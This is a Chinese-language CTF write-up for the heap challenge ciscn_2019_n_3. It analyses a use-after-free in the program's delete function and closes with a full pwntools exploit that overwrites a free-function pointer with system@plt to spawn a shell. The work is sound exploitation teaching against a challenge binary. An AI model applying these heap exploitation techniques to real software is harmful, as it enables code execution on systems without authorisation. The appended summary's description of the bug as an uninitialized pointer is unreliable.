ciscn_2019_n_3
使用checksec查看:

开启了栈不可执行和Canary。
放进IDA中查看,看菜单像是一道堆题,运行程序看下:

标准的堆菜单题,IDA中仔细分析下:

主要流程:创建、删除、查看,先来看看创建的函数do_new():

records[v2]:存储 chunk 的地址,大小为0xc。*v3:存储rec_int_print函数地址用于打印存储的值和类型。*(v3 + 4):存储 free 函数地址,用于释放 chunk 。*(v3 + 8):存储用户输入的值,如果值的类型为整数,则直接存在*(v3 + 8)中,如果值的类型为字符串,则*(v3 + 8)存的是字符串的地址。
接下来看下do_del():

- 执行了
records[v0] + 4所指向的函数,即rec_str_free或rec_int_free

![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VT7tk8dl-1638501552719)(ciscn_2019_n_3.assets/image-20211021163734498.png)]](https://i-blog.csdnimg.cn/blog_migrate/1e66e5c8f6478c982a55edec5e259dc7.png)
- 均未清空指针,存在UAF。
do_dump():

- 执行了
records[v0]所指向的函数,即rec_str_print或rec_int_print
既然存在UFA可以试着去利用下:
rec_str_print和rec_str_free都是存放在系统创建的指针中的,那么我们先申请两个chunk

- 接着释放掉这两个chunk,两个系统创建的chunk便会进入fastbins中

- 这时候我们去申请大小为
0xc的chunk,便能将两这两个chunk给申请出来,并且能修改其中一个的值 - 若将
rec_str_free的值改为system@plt就可以直接getshell
注意点:调用rec_str_free的时候,需要一个值,这个值在rec_str_free-4处(看do_del()代码),即rec_str_print所在的位置。
所以我们的payload需要写成:b'bash' + p32(system_addr)
- 这时候释放chunk的时候就会调用
system('bash')
完整exp:
from pwn import *
#start
r = process("../buu/ciscn_2019_n_3")
elf = ELF("../buu/ciscn_2019_n_3")
def new(num,tp,length,value):
r.sendlineafter("CNote > ","1")
r.sendlineafter("Index > ",str(num))
r.sendlineafter("Type > ",str(tp))
r.sendlineafter("Length > ",str(length))
r.sendlineafter("Value > ",value)
def delete(num):
r.sendlineafter("CNote > ","2")
r.sendlineafter("Index > ",str(num))
def show(num):
r.sendlineafter("CNote > ","3")
r.sendlineafter("Index > ",str(num))
#params
system_addr = elf.symbols['system']
#attack
new(1,2,0x30,"MMMM")
new(2,2,0x30,"MMMM")
delete(1)
delete(2)
payload = b'bash' + p32(system_addr)
new(3,2,0xc,payload)
delete(1)
r.interactive()
这篇博客详细介绍了如何通过在CNote程序中利用未初始化的指针(UAF)进行堆操作,创建、删除chunk并利用它们来实现代码执行。作者展示了如何申请chunk、释放chunk以操纵内存,最终实现通过设置rec_str_free指向system@plt获取shell。关键步骤包括新chunk创建、do_del函数分析及payload构造。
3291

被折叠的 条评论
为什么被折叠?



